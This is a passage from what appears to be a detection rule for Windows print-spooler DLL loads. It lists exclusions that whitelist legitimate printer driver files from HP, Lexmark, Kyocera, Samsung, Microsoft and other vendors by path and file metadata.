C:\\Windows\\System32\\spool\\drivers\\x64\\3\\PS5UI.DLL\n    # On Windows 8, PSCRIPT5.DLL is signed via catalogue.\n    exclusion_ps5ui_signed:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PS5UI.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\*PS5UI.DLL' # (PDFILLPS5UI.DLL, pdf995ps5ui64.dll)\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'PS5UI.DLL'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\UniDrvUI.dll\n    # On Windows 8.1, UniDrvUI.DLL is signed via catalogue.\n    exclusion_unidrvui_signed:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UniDrvUI.DLL'\n        Company: 'Microsoft Corporation'\n        #InternalName: 'UNIDRVUI.DLL'\n        OriginalFileName: 'UNIDRVUI.DLL'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\UNIDRV.DLL\n    # On Windows 8.1, UNIDRV.DLL is signed via catalogue.\n    exclusion_unidrv_signed:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UNIDRV.DLL'\n        Company: 'Microsoft Corporation'\n        #InternalName: 'UNIDRV.DLL'\n        OriginalFileName: 'UNIDRV.DLL'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\UNIRES.DLL\n    # On Windows 8.1, UNIRES.DLL is signed via catalogue.\n    exclusion_unires_signed:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UNIRES.DLL'\n        Company: 'Microsoft Corporation'\n        #InternalName: 'UNIRES.DLL'\n        OriginalFileName: 'UNIRES.DLL'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\PrintConfig.dll\n    exclusion_printconfig:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PrintConfig.dll'\n        Company: 'Microsoft Corporation'\n        #InternalName: 'PRINTCONFIG.DLL'\n        OriginalFileName: 'PRINTCONFIG.DLL'\n    exclusion_tsprint:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\tsprint.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'TSPRINT.DLL'\n\n    exclusion_mxdwdui:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\mxdwdui.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'mxdwdui.dll'\n\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\sxr1m.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\sxp2m.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\sxp2mdu.dll\n    exclusion_pscript_windows_2003:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sx*dll' # (sxr1m.dll, sxp2m.dll, sxp2mdu.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sr*.dll' # (srp3m.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\YOUNGI.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ss?6c.dll' # (ssl6c.dll, sst6c.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\us005.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\spd__.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Thml4.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ssp1mdu.dll' # (ssp1mdu.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ml285*.dll' # (ml285pdu.dll, ml285pd.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\usp02.dll'\n        Company: 'Windows (R) Server 2003 DDK provider'\n\n    exclusion_hp_fax:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HP*_FaxPCSendRenderPlugin.dll'\n        Company: 'HP Inc.'\n        OriginalFileName: 'FaxPCSendRenderPlugin.dll'\n\n    exclusion_null_size:\n        # We must use size: '-1'\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ADUIGP.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fpmvpr_ui.dll'\n        Company: ''\n        Product: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\sxp2mu2.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\sxp2mu.dll\n    exclusion_xerox_missing_pe_info:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sxp2mu2.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sxp2mu.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\FX6?????-?_????.XRS' # (FX6BAALT-4_2052.XRS, FX6BAALT-4_1042.XRS, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\FX6?????-?.XRS' # (FX6BEALS-1.XRS, FX6SOALT-4.XRS, ...)\n        Company: ''\n        Product: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOB__J_1.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYXJ_W.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOBJUJ_W.dll\n    exclusion_konica_minolta_missing_pe_info:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KOB__J_1.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KOAYXJ_W.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KOBJUJ_W.dll'\n        Company: ''\n        Product: ''\n        OriginalFileName: ''\n        InternalName: ''\n    exclusion_longhorn:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\51FBE.Dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\51FBEX64.Dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\OPUCU001.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\GIE???.DLL' # (GIE6AD.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\R?E6??.DLL' # (R8E6AD.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LKNEW4*.Dll' # (LKNEW4.Dll, LKNEW4E.DLL, LKNEW4UI.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\SV1NPTPC.DLL'\n        Company:\n            - 'Windows (R) Codename Longhorn DDK provider'\n            - 'Windows (R) Win 7 DDK provider'\n    #  C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYQJ_Y.DLL\n    exclusion_monotype:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RIC???c.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KOA???_?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\OK*.DLL' # (OKIXL.DLL, OKBBAXD.DLL, OKIPCL.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KO????_?.EXE' # (KOAYQJ_W.EXE)\n        Company:\n            - 'Monotype Imaging, Inc.'\n            - 'Monotype Imaging Inc.'\n    exclusion_okidata:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\O???_U?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\OP??????.DLL' # (seen OPHCWNXT.DLL, opjobinf.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\OK*.DLL' # (OKPSUI.DLL, OKBL_UI.DLL)\n        Company:\n            - 'Oki Data Corporation'\n            - 'Oki Data Corportation'\n\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpb6sy3536_x64xps.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpb6sy3536_x64enus.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpb6sy3536_x64dlg.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpb6sy2073_x64gui.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpb6sy2073_x64gui.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpcst140.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpmux083.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpcdmc64.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpbmtxr31.dll\n    exclusion_hp:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hp*.dll' # (HPFUI50.DLL, hpcst140.DLL, HP1006U.DLL , hpmdp196.dll, hpcui196.dll, hpipr7sm.dll, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cioum.dll'\n        Company:\n            - 'Monotype Imaging Inc.'\n            - 'Hewlett-Packard Corporation'\n            - 'Hewlett Packard Corporation'\n            - 'HP'\n            - 'Hewlett-Packard'\n            - 'Hewlett-Packard '  # additional space at the end...\n            - 'Hewlett-Packard Company'\n            - 'HP Inc.'\n\n    exclusion_hp_without_company:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HPM????????.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpm??????.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpm?????.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpbcfgre.DLL'\n        OriginalFileName:\n            - 'HPM????????.dll' # (seen HPM1210FPSU.dll, HPM1210FPSD.dll)\n            - 'HPM??????.dll' # (HPM1210SD.dll)\n            - 'hpm?????.dll' # (hpmsl140.dll)\n            - 'hpbcfgre.DLL'\n\n    exclusion_hp_without_infos:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpcc????.DLL' # (hpcc6140.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpixpsui.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpcp????.dll' # (hpcpp255.dll, hpcpn170.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hpzpi???.DLL' # (hpzpi5k4.DLL, hpzpi4wm.DLL)\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_software_2000:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HP1006M?.DLL'  # HP1006MP.dll / HP1006MT.dll\n        Company: 'Software 2000 Limited'\n\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KFUC409U.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KFUU409U.DLL\n    exclusion_kyocera:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KM??????.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KF??????.DLL' # (KFUU643C.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KMPipe??.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KY*.DLL' # (KYFONT4.DLL, KYRES14.DLL, KyUPUI.dll, KyURes.dll, KyURTA.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KAU?????.DLL' # (KAUU34JU.DLL)\n        Company:\n            - 'KYOCERA MITA'\n            - 'KYOCERA Document Solutions Inc.'\n            - 'Kyocera Mita Europe B.V.'\n        OriginalFileName:\n            - 'KF??????.dll' # (KFUU643C.dll)\n            - 'KM??????.dll'\n            - 'KM??????' # (KMPD50F9)\n            - 'KX??????.dll' # (KXUU42AJ.dll)\n            - 'Kc?????.DLL'\n            - 'kmPipe.dll'\n            - 'OEMResources.dll'\n            - 'ky*.dll' # (kyfont4.dll, kyres14.dll, KyUPUI.dll, KyURes.dll, KyURTA.dll)\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GXE6MD.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\R1E6AD.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GXE6KAD.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GXEXNPCM.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GXEXNDRV.DLL\n    exclusion_destiny:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\GXE*.DLL' # (GXEXNDRV.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\R?E6*.DLL' # (R8E6AU.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\GIE6??.DLL' # (GIE6AU.DLL)\n        Description:\n            - 'DESTINY Color Printer Driver Graphics'\n            - 'DESTINY Color Printer Driver GUI'\n            - 'Destiny Technology Corporation'\n            - 'Spooler Setup DLL'\n            - 'Destiny Corporation'\n            - 'WinStyler Printer Driver'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\EF658756.dll\n    exclusion_imaging:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\EF658756.DLL'\n        Description: 'Fiery Driver(TM) UI Plugin'\n        OriginalFileName: 'OEMPLUGE.DLL'\n        InternalName: 'OEMPLUGE.DLL'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpltglr6.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\hpltcfg6.dll\n    # Windows 2000 era HP drivers.\n    exclusion_hp_designjet_nt:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\hplt*' # (hpltuint.dll, hpltcfg6.DLL, hpltglr6.DLL, HPLTRPL10.DLL, hpltui5.dll, HPLTRPL9.EXE)\n        Company: 'Hewlett-Packard Corporation, Microsoft Corporation'\n        Product: 'HP DesignJet Series Printer Driver'\n\n    exclusion_samsung_electronics:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NetFax??64.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\s*'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xp*.dll' # (xp3260n.dll, xp3260mu.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ssp4mdu.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\us003du.dll'\n        Company:\n            - 'Samsung Electronics Co., Ltd.'\n            - 'Samsung Electronics'\n            - ''\n            - 'Printer driver - Interface module'\n            - 'Samsung Research Center, Moscow'\n        OriginalFileName:\n            - 'itdrvn.dll'\n            - 'itdrvDU.DLL'\n            - 'ssMUIDLL.dll'\n            - 'ColorFB6.dll'\n            - 'UsbIO.dll'\n            - 'st4fxdrv.dll'\n            - 'NETFAX??.DLL'\n            - 'GetSNMP.dll'\n    exclusion_samsung_universal:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\us005?.exe' # (us005a.exe)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\us005??.exe' # (us005dr.exe)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\us005?.dll' # (us005n.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\us005??.dll' # (us005an.dll, us005pi.dll, us005ua.dll, ...)\n        Company: ''\n        Description:\n            - 'Samsung Universal Print Driver Utility'\n            - 'Printer driver - Driver Configuration Utility'\n            - 'SmartCMS4.0'\n            - 'Printer driver - Interface module'\n            - 'Printer driver - Resource module'\n            - 'Printer driver - UI core module'\n            - 'Popup Pipe Server'\n            - 'ColorFB6 Dynamic Link Library'\n            - 'AsyncUI Server Interface'\n            - 'DllRunne Application'\n            - 'CommonUs Dynamic Link Library'\n            - 'Get Printer information using Network and USB port'\n    exclusion_sharp:\n        ImageLoaded:\n            # (SU2EUPV7.DLL, SU2EGC.DLL , SU2EUR.DLL, SU2EUSR.DLL, SS0XU.DLL, ...)\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GF0EUC.DLL\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GN0EUC.DLL\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\SF0EUC.DLL\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\SD3BU.DLL\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GF0EU.DLL\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\GH7EUC.DLL\n            # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\SN0XU.DLL\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\S*.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\SHAR_RES.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\???EU.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\???EUC.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cmprecnt.DLL'\n        Company: 'SHARP CORPORATION'\n    exclusion_pdflib:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\pdflib.dll'\n        Company: 'PDFlib GmbH'\n        OriginalFileName: 'pdflib.dll'\n    exclusion_pdfwrt:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PDFWrtDrv.dll'\n        OriginalFileName: 'PDFWrtDrv.DLL'\n        InternalName: 'PDFWrtDrv'\n    exclusion_nspdf:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NsPdfMdl.dll'\n        OriginalFileName: 'NsPdfMdl.DLL'\n        InternalName: 'NsPdfMdl'\n    exclusion_newsoft:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Ism64.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NSUNI.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Fioall64.dll'\n        Company:\n            - 'NewSoft Technology Corporation'\n            - 'Newsoft'\n            - 'newsoftinc'\n        OriginalFileName:\n            - 'Ism.DLL'\n            - 'NSUNI.DLL'\n            - 'Fioall32.dll'\n    exclusion_newsoft_missing_pe_info:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NSUI.dll'\n        Company: ''\n        OriginalFileName: ''\n        InternalName: ''\n    exclusion_nuance:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\znsprn*.fra' # (znsprnuires.fra)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\znsprn*.dll' # (znsprnui.dll, znsprngraf.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\znsprn*.ENU' # (znsprnuires.ENU)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NuanUI.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NuanOemUiRes.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UiSupportRes.ENU'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UiSupport.dll'\n        Company:\n            - 'Nuance Communications, Inc.'\n            - 'Zeon Corp.'\n            - 'Zeon Corporation.'\n    exclusion_pxcuif:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PXC???.DLL' # PXC30f.DLL\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PXC?????.DLL' # PXC30UIa.DLL\n        Company:\n            - 'Tracker Software Products Ltd.'\n            - 'Tracker Software'\n        OriginalFileName:\n            - 'PXC??.DLL'\n            - 'PXC????.dll'\n    exclusion_pxcuif_empty:\n        # We must use size: '-1'\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PXC?????.DLL' # PXC40UIf.DLL\n        Company: ''\n        Product: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_lexmark1:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\??AC??4Z.DLL' # DKACHC4Z.DLL / LMACIL4Z.DLL\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LMA???4Z.DLL' # LMABJ74Z.DLL / LMAATC4Z.DLL\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LMUD064Z.DLL'\n        Company:\n            - 'Lexmark International, Inc.'\n            - 'Microsoft Corp.'\n        OriginalFileName: 'PSUIREP.dll'\n\n    exclusion_lexmark2:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\lm??????.dll' # lmzarl32.dll, lmzadcmn.dll, lmzpmc3.dll, lmlznie1.dll, lmxgbzim.dll, ...\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\lm?????.dll'  # lmzpmc3.dll\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\lm????.xrs' # lmxgbz.xrs\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\lm??????.xrs' # lmxgbzir.xrs\n        Company:\n            - 'Lexmark International, Inc.'\n            - 'Lexmark International, Inc'\n            - 'Lexmark International Inc.'\n            - 'Lexmark'\n        # Product: 'Lexmark Printer Driver'  # sometimes empty...\n\n    exclusion_lexmark_pcl:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LMAD????.DLL' # LMADUP40 / LMADUP4A / LMADUP4C / LMAD0PUH.DLL / LMAD0PUE.DLL / LMAD0PUD.DLL / LMAD2N4Z.DLL / ...\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LMUD1???.DLL' # LMUD1P40 / LMUD1PUE / LMUD1OUH.DLL / LMUD1O4Z.DLL / ...\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LMU03???.DLL' # LMU03PBJ.DLL / LMU03PTD.DLL / LMU03PUA.DLL\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\TSUD????.DLL' # TSUD1OBJ.DLL / TSUD1OUH.DLL / TSUD1OUB.DLL\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\LMUE????.DLL'\n        #Company|contains: 'Lexmark' # sometimes no company name...\n\n    exclusion_ms_pcl:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PCLXL.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PCL5ERES.DLL'\n        Company: 'Microsoft Corporation'\n\n    exclusion_fxsdrv:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXS??.DLL' # (FXSUI.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXS???.DLL' # (FXSDRV.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXS????.DLL' # (FXSWZRD.DLL, FXSTIFF.DLL)\n        Company: 'Microsoft Corporation'\n        OriginalFileName:\n            - 'FXS??.DLL'\n            - 'FXS???.DLL'\n            - 'FXS????.DLL'\n    exclusion_fxsdrv_without_infos:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXS??.DLL' # (FXSUI.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXS???.DLL' # (FXSDRV.DLL, FXSAPI.DLL, FXSRES.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXS????.DLL' # (FXSWZRD.DLL)\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_panasonic:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\D0GDGC2K.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\K0J*.DLL'\n        Company:\n            - 'Panasonic Communications Co., Ltd.'\n            - 'Panasonic System Networks Co., Ltd.'\n\n    exclusion_toshiba:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\eS*.dll'  # eS4pCDTP.dll / eS4pPrc.dll / eSm166bd.dll / eSm166rd.dll / eSPx6XL.DLL / eSPx6UI.DLL / eSh6ufwdsdk.dll / eSf6uui.dll / eSf6uw/dll / eSf6ufwdsdk.dll / eSf6usf_builtin.dll / ...\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\eB2*.dll'  # eB2oPrc.dll / eB2oCDTP.dll / eB2ox6ui.dll\n        Company:\n            - 'TOSHIBA TEC CORPORATION'\n            - 'Monotype Imaging, Inc.'\n            - 'Monotype Imaging Inc.'\n\n    exclusion_toshiba_2:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\eSm6ssnm.dll'\n        OriginalFileName: 'eSTsnmp.dll'\n        InternalName: 'eSTsnmp'\n\n    exclusion_xps:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\XPSSVCS.DLL'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'xpssvcs.dll'\n\n    exclusion_ttyui:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\TTY.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\TTYUI.DLL'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'tty.dll'\n\n    exclusion_ttyres:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\TTYRES.DLL'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'Ttyres.dll'\n\n    exclusion_rpcsui:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RPCSUI.DLL'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'RPCSUI.DLL'\n\n    exclusion_marvell1:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HP??????.DLL' # (HP2030PP.DLL, HP2030GC.dll, HP2030SU.DLL, ... )\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\??hp1020.dll' # (suhp1020.dll, sdhp1020.dll, GChp1020.dll)\n        Description:\n            - 'Marvell Printer Software Driver'\n            - 'HP Printer Software Driver'\n\n    exclusion_marvell2:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HP????????.DLL' # (HPCP1020SD.DLL)\n        Company: 'Marvell Semiconductor, Inc.'\n\n    exclusion_electronics:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\EF??????.dll'  # (EF691626.dll, EF997948.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\harmony*.dll' # (harmony_efi_color.dll, harmony_efi.dll, harmony_ctp.dll, harmony_core.dll, harmony10.dll, ...)\n        Company: 'Electronics For Imaging, Inc.'\n\n    exclusion_missing_pe_info:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\EF??????.dll'  # (EF539658.dll)\n        Company: ''\n        Product: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_zeon:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UiSupport.dll'\n        Company: 'Zeon Corporation.'\n\n    exclusion_datacard:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\dxp01UI.dll'\n        Company: 'DataCard Corporation'\n\n    exclusion_msvcr80_signed:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\msvc?80.dll' # (msvcr80.dll, msvcp80.dll)\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'MSVC?80.DLL'\n\n    exclusion_vnc:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\VNCui.dll'\n        Description: 'Driver UI DLL'\n        Product: 'VNC Printer'\n\n    exclusion_sendtoonenote_infos:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\SendToOneNoteUI.dll'\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_dell:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\DLPSLALU-1.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\dl*xpUI.DLL' # dltfm1zxpUI.DLL, dlthm1zxpui.dll\n        Description:\n            - 'Dell Printer Driver'\n            - 'Dell FAX Printer Driver'\n        Product:\n            - 'Dell Printer Driver'\n            - 'Dell * Multifunction Printer' # Dell C1765 Color Multifunction Printer\n\n    exclusion_eptintblock:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\EPOBW9SC.DLL'\n        Description: 'EPTintBlock_dll'\n        OriginalFileName: 'EPTintBlock.dll'\n\n    exclusion_mom:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\MomUdUi*.dll' # (MomUdUI.DLL, MomUdUiPS.dll, MomUdUIPclXl.dll)\n        Description: 'MOM Universal Driver UI'\n        OriginalFileName: 